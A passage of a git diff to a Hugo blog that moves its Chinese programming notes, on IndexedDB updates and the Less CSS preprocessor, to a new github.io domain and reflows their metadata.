+           
+        } 
+    }
+}
+</code></pre><p>更新数据</p><p>和add()类似</p><pre><code>datadb.onsuccess = function (event) {
+    console.log(&quot;数据更新成功&quot;);
+    var tp = event.target.result;
+    var transaction = tp.transaction(['abc'], 'readwrite');
+    var objadd = transaction.objectStore('abc');
+    objadd.put({id: 1,name: 'hallo', email: &quot;abc@xiaochenabc123.test.com&quot;})
+}   
+</code></pre><p>删除数据</p><pre><code>datadb.onsuccess = function (event) {
+    console.log(&quot;数据更新成功&quot;);
+    var tp = event.target.result;
+    var transaction = tp.transaction(['abc'], 'readwrite');
+    var objadd = transaction.objectStore('abc');
+    objadd.delete(1);
+    console.log('数据删除成功');
+}   </code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/javascript/>JavaScript</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/6/><span class=title>« Prev</span><br><span>简单解决文本溢出问题</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/3/><span class=title>Next »</span><br><span>简单使用Vim编辑器</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/50/index.html b/posts/50/index.html
index a85c6b62..31fb433a 100644
--- a/posts/50/index.html
+++ b/posts/50/index.html
@@ -20,7 +20,7 @@
 不能以数字开头
 大小写敏感
 例如：
-@color: #ccc;
#app{
background-color: @color;
}
less编译
+@color: #ccc; #app{ background-color: @color; } less编译
 less提供了一个解析器，通过解析器，编译成css文件
 例如：
 npm
@@ -30,9 +30,9 @@
 vsc插件：Easy LESS（修改保存就自动编译成css文件）
 less嵌套
 子元素嵌套到父元素上（后代选择器）
-#app{
width: 100px;
div{
width: 60px;
}
}
伪类或者伪元素选择之类的，需要加&连接起来，不加则认为是后代
-#app{
width: 100px;
a{
color: #000;
&:hover{
color: @color;
}
&::before{
width: 30px;
}
} }
less运算"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/50/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="CSS预处理器-Less学习笔记"><meta property="og:description" content="less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能
+#app{ width: 100px; div{ width: 60px; } } 伪类或者伪元素选择之类的，需要加&连接起来，不加则认为是后代
+#app{ width: 100px; a{ color: #000; &:hover{ color: @color; } &::before{ width: 30px; } } } less运算"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/50/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="CSS预处理器-Less学习笔记"><meta property="og:description" content="less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能
 常见的css预处理器有sass，less，stylus
 less开发手册：https://less.bootcss.com/
 安装less
@@ -54,7 +54,7 @@
 不能以数字开头
 大小写敏感
 例如：
-@color: #ccc;
#app{
background-color: @color;
}
less编译
+@color: #ccc; #app{ background-color: @color; } less编译
 less提供了一个解析器，通过解析器，编译成css文件
 例如：
 npm
@@ -64,8 +64,8 @@
 vsc插件：Easy LESS（修改保存就自动编译成css文件）
 less嵌套
 子元素嵌套到父元素上（后代选择器）
-#app{
width: 100px;
div{
width: 60px;
}
}
伪类或者伪元素选择之类的，需要加&连接起来，不加则认为是后代
-#app{
width: 100px;
a{
color: #000;
&:hover{
color: @color;
}
&::before{
width: 30px;
}
} }
less运算"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/50/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-01T15:31:00+00:00"><meta property="article:modified_time" content="2021-07-01T15:31:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="CSS预处理器-Less学习笔记"><meta name=twitter:description content="less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能
+#app{ width: 100px; div{ width: 60px; } } 伪类或者伪元素选择之类的，需要加&连接起来，不加则认为是后代
+#app{ width: 100px; a{ color: #000; &:hover{ color: @color; } &::before{ width: 30px; } } } less运算"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/50/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-01T15:31:00+00:00"><meta property="article:modified_time" content="2021-07-01T15:31:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="CSS预处理器-Less学习笔记"><meta name=twitter:description content="less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能
 常见的css预处理器有sass，less，stylus
 less开发手册：https://less.bootcss.com/
 安装less
@@ -87,7 +87,7 @@
 不能以数字开头
 大小写敏感
 例如：
-@color: #ccc;
#app{
background-color: @color;
}
less编译
+@color: #ccc; #app{ background-color: @color; } less编译
 less提供了一个解析器，通过解析器，编译成css文件
 例如：
 npm
@@ -97,71 +97,71 @@
 vsc插件：Easy LESS（修改保存就自动编译成css文件）
 less嵌套
 子元素嵌套到父元素上（后代选择器）
-#app{
width: 100px;
div{
width: 60px;
}
}
伪类或者伪元素选择之类的，需要加&连接起来，不加则认为是后代
-#app{
width: 100px;
a{
color: #000;
&:hover{
color: @color;
}
&::before{
width: 30px;
}
} }
less运算"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"CSS预处理器-Less学习笔记","item":"https://xiaochenabc123.github.io/posts/50/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"CSS预处理器-Less学习笔记","name":"CSS预处理器-Less学习笔记","description":"less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能\n常见的css预处理器有sass，less，stylus\nless开发手册：https://less.bootcss.com/\n安装less\nnpm install -g less\n检查是否安装成功\nlessc -v\n或者使用CDN和src导入的方法也都是可以的\n例如：\nhttps://cdn.jsdelivr.net/npm/less@4.1.1/dist/less.min.js\nless文件\nhallo.less\n注释\n/*块注释*/\n// 行注释\n变量\n变量名命名规范\n必须是以@开头\n不能包含特殊字符\n不能以数字开头\n大小写敏感\n例如：\n@color: #ccc;\r#app{\rbackground-color: @color;\r}\rless编译\nless提供了一个解析器，通过解析器，编译成css文件\n例如：\nnpm\nlessc style.less style.css\n将style.less编译成style.css文件\n或者\nvsc插件：Easy LESS（修改保存就自动编译成css文件）\nless嵌套\n子元素嵌套到父元素上（后代选择器）\n#app{\rwidth: 100px;\rdiv{\rwidth: 60px;\r}\r}\r伪类或者伪元素选择之类的，需要加\u0026amp;连接起来，不加则认为是后代\n#app{\rwidth: 100px;\ra{\rcolor: #000;\r\u0026amp;:hover{\rcolor: @color;\r}\r\u0026amp;::before{\rwidth: 30px;\r}\r} }\rless运算","keywords":["Less"],"articleBody":"less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能\n常见的css预处理器有sass，less，stylus\nless开发手册：https://less.bootcss.com/\n安装less\nnpm install -g less\n检查是否安装成功\nlessc -v\n或者使用CDN和src导入的方法也都是可以的\n例如：\nhttps://cdn.jsdelivr.net/npm/less@4.1.1/dist/less.min.js\nless文件\nhallo.less\n注释\n/*块注释*/\n// 行注释\n变量\n变量名命名规范\n必须是以@开头\n不能包含特殊字符\n不能以数字开头\n大小写敏感\n例如：\n@color: #ccc;\r#app{\rbackground-color: @color;\r}\rless编译\nless提供了一个解析器，通过解析器，编译成css文件\n例如：\nnpm\nlessc style.less style.css\n将style.less编译成style.css文件\n或者\nvsc插件：Easy LESS（修改保存就自动编译成css文件）\nless嵌套\n子元素嵌套到父元素上（后代选择器）\n#app{\rwidth: 100px;\rdiv{\rwidth: 60px;\r}\r}\r伪类或者伪元素选择之类的，需要加\u0026连接起来，不加则认为是后代\n#app{\rwidth: 100px;\ra{\rcolor: #000;\r\u0026:hover{\rcolor: @color;\r}\r\u0026::before{\rwidth: 30px;\r}\r} }\rless运算\n数值，颜色，变量都可以参与运算，加减乘除\n@width: 50px;\r#app{\rwidth: 100px - 10;\rheight: 100px * 3;\rdiv{\rwidth: (@width / 30) * 6;\r}\r}\r#app{\rcolor: #666 - #333;\r}\r上面得到的是#333\n注意：\n如果有两个不同单位的值运算，运算结果单位取第一个值的单位\n如果有两个值，它们只要一个单位，取该单位作为运算结果单位\n运算符中间左右两边要有空格分开\n混合\n混合（Mixin）可以将一组属性从包含到另一个集合中，例如：\n.container{\rmax-width: 980px;\rmargin-left: auto;\rmargin-right: auto;\r}\r#app{\r.container\r}\r转义\n转义允许使用任意字符串作为属性或者变量值，例如：\n@max768: ~\"(max-width: 768px)\"~\r.nav-svg{\r@media @max768{\rdisplay: none;\r}\r}\r函数\nless内置了多个函数，用于算术运算，颜色处理等等\n@width: 0.6;\r#app{\rwidth: percentage(@width); // 60%\r}\r映射\n映射支持less3.5以上版本，例如：\n#data(){\rwidth: 100px;\r}\r#app{\rwidth: #data[width];\r}\r","wordCount":"149","inLanguage":"en","datePublished":"2021-07-01T15:31:00Z","dateModified":"2021-07-01T15:31:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/50/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>CSS预处理器-Less学习笔记</h1><div class=post-meta><span title='2021-07-01 15:31:00 +0000 UTC'>2021-07-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/CSS%e9%a2%84%e5%a4%84%e7%90%86%e5%99%a8-Less%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能</p><p>常见的css预处理器有sass，less，stylus</p><p>less开发手册：https://less.bootcss.com/</p><p>安装less</p><p>npm install -g less</p><p>检查是否安装成功</p><p>lessc -v</p><p>或者使用CDN和src导入的方法也都是可以的</p><p>例如：</p><p><a href=https://cdn.jsdelivr.net/npm/less@4.1.1/dist/less.min.js>https://cdn.jsdelivr.net/npm/less@4.1.1/dist/less.min.js</a></p><p>less文件</p><p>hallo.less</p><p>注释</p><p>/*块注释*/</p><p>// 行注释</p><p>变量</p><p>变量名命名规范</p><p>必须是以@开头</p><p>不能包含特殊字符</p><p>不能以数字开头</p><p>大小写敏感</p><p>例如：</p><pre><code>@color: #ccc;
-
-#app{
-    background-color: @color;
-}
-</code></pre><p>less编译</p><p>less提供了一个解析器，通过解析器，编译成css文件</p><p>例如：</p><p>npm</p><p>lessc style.less style.css</p><p>将style.less编译成style.css文件</p><p>或者</p><p>vsc插件：Easy LESS（修改保存就自动编译成css文件）</p><p>less嵌套</p><p>子元素嵌套到父元素上（后代选择器）</p><pre><code>#app{
-    width: 100px;
-    div{
-        width: 60px;
-    }
-}
-</code></pre><p>伪类或者伪元素选择之类的，需要加&连接起来，不加则认为是后代</p><pre><code>#app{
-    width: 100px;
-    a{
-        color: #000;
-        &amp;:hover{
-            color: @color;
-        }
-        &amp;::before{
-             width: 30px;
-        }
-    }   
-}
-</code></pre><p>less运算</p><p>数值，颜色，变量都可以参与运算，加减乘除</p><pre><code> @width: 50px;
- #app{
-    width: 100px - 10;
-    height: 100px * 3;
-    div{
-        width: (@width / 30) * 6;
-    }
-}
-
-
-
-
-#app{
-    color: #666 - #333;
-}
-</code></pre><p>上面得到的是#333</p><p>注意：</p><p>如果有两个不同单位的值运算，运算结果单位取第一个值的单位</p><p>如果有两个值，它们只要一个单位，取该单位作为运算结果单位</p><p>运算符中间左右两边要有空格分开</p><p>混合</p><p>混合（Mixin）可以将一组属性从包含到另一个集合中，例如：</p><pre><code>.container{
-    max-width: 980px;
-    margin-left: auto;
-    margin-right: auto;
-}
-#app{
-    .container
-}
-</code></pre><p>转义</p><p>转义允许使用任意字符串作为属性或者变量值，例如：</p><pre><code>@max768: ~&quot;(max-width: 768px)&quot;~
-.nav-svg{
-    @media @max768{
-        display: none;
-    }
-}
-</code></pre><p>函数</p><p>less内置了多个函数，用于算术运算，颜色处理等等</p><pre><code>@width: 0.6;
-#app{
-    width: percentage(@width); // 60%
-}
-</code></pre><p>映射</p><p>映射支持less3.5以上版本，例如：</p><pre><code>#data(){
-    width: 100px;
-}
-#app{
-    width: #data[width];
-}
-</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/less/>Less</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/51/><span class=title>« Prev</span><br><span>CSS预处理器-Sass学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/49/><span class=title>Next »</span><br><span>数据结构与算法学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+#app{ width: 100px; div{ width: 60px; } } 伪类或者伪元素选择之类的，需要加&连接起来，不加则认为是后代
+#app{ width: 100px; a{ color: #000; &:hover{ color: @color; } &::before{ width: 30px; } } } less运算"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"CSS预处理器-Less学习笔记","item":"https://chenjunlinabc.github.io/posts/50/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"CSS预处理器-Less学习笔记","name":"CSS预处理器-Less学习笔记","description":"less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能\n常见的css预处理器有sass，less，stylus\nless开发手册：https://less.bootcss.com/\n安装less\nnpm install -g less\n检查是否安装成功\nlessc -v\n或者使用CDN和src导入的方法也都是可以的\n例如：\nhttps://cdn.jsdelivr.net/npm/less@4.1.1/dist/less.min.js\nless文件\nhallo.less\n注释\n/*块注释*/\n// 行注释\n变量\n变量名命名规范\n必须是以@开头\n不能包含特殊字符\n不能以数字开头\n大小写敏感\n例如：\n@color: #ccc; #app{ background-color: @color; } less编译\nless提供了一个解析器，通过解析器，编译成css文件\n例如：\nnpm\nlessc style.less style.css\n将style.less编译成style.css文件\n或者\nvsc插件：Easy LESS（修改保存就自动编译成css文件）\nless嵌套\n子元素嵌套到父元素上（后代选择器）\n#app{ width: 100px; div{ width: 60px; } } 伪类或者伪元素选择之类的，需要加\u0026amp;连接起来，不加则认为是后代\n#app{ width: 100px; a{ color: #000; \u0026amp;:hover{ color: @color; } \u0026amp;::before{ width: 30px; } } } less运算","keywords":["Less"],"articleBody":"less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能\n常见的css预处理器有sass，less，stylus\nless开发手册：https://less.bootcss.com/\n安装less\nnpm install -g less\n检查是否安装成功\nlessc -v\n或者使用CDN和src导入的方法也都是可以的\n例如：\nhttps://cdn.jsdelivr.net/npm/less@4.1.1/dist/less.min.js\nless文件\nhallo.less\n注释\n/*块注释*/\n// 行注释\n变量\n变量名命名规范\n必须是以@开头\n不能包含特殊字符\n不能以数字开头\n大小写敏感\n例如：\n@color: #ccc; #app{ background-color: @color; } less编译\nless提供了一个解析器，通过解析器，编译成css文件\n例如：\nnpm\nlessc style.less style.css\n将style.less编译成style.css文件\n或者\nvsc插件：Easy LESS（修改保存就自动编译成css文件）\nless嵌套\n子元素嵌套到父元素上（后代选择器）\n#app{ width: 100px; div{ width: 60px; } } 伪类或者伪元素选择之类的，需要加\u0026连接起来，不加则认为是后代\n#app{ width: 100px; a{ color: #000; \u0026:hover{ color: @color; } \u0026::before{ width: 30px; } } } less运算\n数值，颜色，变量都可以参与运算，加减乘除\n@width: 50px; #app{ width: 100px - 10; height: 100px * 3; div{ width: (@width / 30) * 6; } } #app{ color: #666 - #333; } 上面得到的是#333\n注意：\n如果有两个不同单位的值运算，运算结果单位取第一个值的单位\n如果有两个值，它们只要一个单位，取该单位作为运算结果单位\n运算符中间左右两边要有空格分开\n混合\n混合（Mixin）可以将一组属性从包含到另一个集合中，例如：\n.container{ max-width: 980px; margin-left: auto; margin-right: auto; } #app{ .container } 转义\n转义允许使用任意字符串作为属性或者变量值，例如：\n@max768: ~\"(max-width: 768px)\"~ .nav-svg{ @media @max768{ display: none; } } 函数\nless内置了多个函数，用于算术运算，颜色处理等等\n@width: 0.6; #app{ width: percentage(@width); // 60% } 映射\n映射支持less3.5以上版本，例如：\n#data(){ width: 100px; } #app{ width: #data[width]; } ","wordCount":"149","inLanguage":"en","datePublished":"2021-07-01T15:31:00Z","dateModified":"2021-07-01T15:31:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/50/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>CSS预处理器-Less学习笔记</h1><div class=post-meta><span title='2021-07-01 15:31:00 +0000 UTC'>2021-07-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/CSS%e9%a2%84%e5%a4%84%e7%90%86%e5%99%a8-Less%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能</p><p>常见的css预处理器有sass，less，stylus</p><p>less开发手册：https://less.bootcss.com/</p><p>安装less</p><p>npm install -g less</p><p>检查是否安装成功</p><p>lessc -v</p><p>或者使用CDN和src导入的方法也都是可以的</p><p>例如：</p><p><a 